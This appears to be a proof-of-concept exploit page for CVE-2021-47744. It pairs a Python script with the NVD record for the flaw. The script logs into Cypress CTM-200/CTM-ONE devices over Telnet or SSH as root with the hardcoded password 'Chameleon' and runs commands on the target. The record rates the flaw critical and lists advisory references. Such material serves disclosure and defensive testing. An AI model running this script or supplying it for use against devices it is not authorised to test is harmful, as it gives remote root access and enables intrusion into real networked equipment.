CVE-2021-47744

#!/usr/bin/env python3 """ CVE-2021-47744 PoC - Cypress CTM Hardcoded Credentials Description: Exploits hardcoded 'Chameleon' password in Cypress CTM-200/CTM-ONE devices Author: Security Researcher Reference: https://www.exploit-db.com/exploits/50407 """ import socket import sys import paramiko from paramiko import SSHClient, AutoAddPolicy def check_telnet_vulnerability(target_ip, target_port=23): """Check if target is vulnerable via Telnet""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Wait for login prompt import time time.sleep(2) response = sock.recv(1024).decode('utf-8', errors='ignore') print(f"[+] Telnet banner received: {response.strip()}") # Send username sock.send(b"root\n") time.sleep(1) # Send hardcoded password 'Chameleon' sock.send(b"Chameleon\n") time.sleep(2) response = sock.recv(2048).decode('utf-8', errors='ignore') if "#" in response or "$" in response or "login" not in response.lower(): print(f"[!] VULNERABLE: Authentication successful via Telnet!") print(f"[+] Received response: {response.strip()}") return True else: print(f"[-] Not vulnerable via Telnet") return False except Exception as e: print(f"[-] Telnet check failed: {e}") return False finally: sock.close() def check_ssh_vulnerability(target_ip, target_port=22): """Check if target is vulnerable via SSH""" try: client = SSHClient() client.set_missing_host_key_policy(AutoAddPolicy()) # Attempt login with hardcoded credentials client.connect( hostname=target_ip, port=target_port, username='root', password='Chameleon', timeout=10, allow_agent=False, look_for_keys=False ) print(f"[!] VULNERABLE: Authentication successful via SSH!") # Execute test command stdin, stdout, stderr = client.exec_command('whoami;id;hostname') print(f"[+] Command output: {stdout.read().decode()}") client.close() return True except paramiko.AuthenticationException: print(f"[-] Not vulnerable via SSH (authentication failed)") return False except Exception as e: print(f"[-] SSH check failed: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python cve-2021-47744.py <target_ip> [port]") print("Example: python cve-2021-47744.py 192.168.1.100") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else None print(f"[*] Testing CVE-2021-47744 on {target}") print("=" * 50) if port: if port == 23: check_telnet_vulnerability(target, port) elif port == 22: check_ssh_vulnerability(target, port) else: # Test both services print("[*] Testing Telnet (port 23)...") check_telnet_vulnerability(target, 23) print("\n[*] Testing SSH (port 22)...") check_ssh_vulnerability(target, 22) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2021-47744", "sourceIdentifier": "[email protected]", "published": "2025-12-31T19:15:42.823", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cypress Solutions CTM-200/CTM-ONE 1.3.6 contains hard-coded credentials vulnerability in Linux distribution that exposes root access. Attackers can exploit the static 'Chameleon' password to gain remote root access via Telnet or SSH on affected devices."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-798"}]}], "references": [{"url": "https://www.cypress.bc.ca", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/50407", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/cypress-solutions-ctm-ctm-one-hard-coded-credentials-remote-root", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5686.php", "source": "[email protected]"}]}}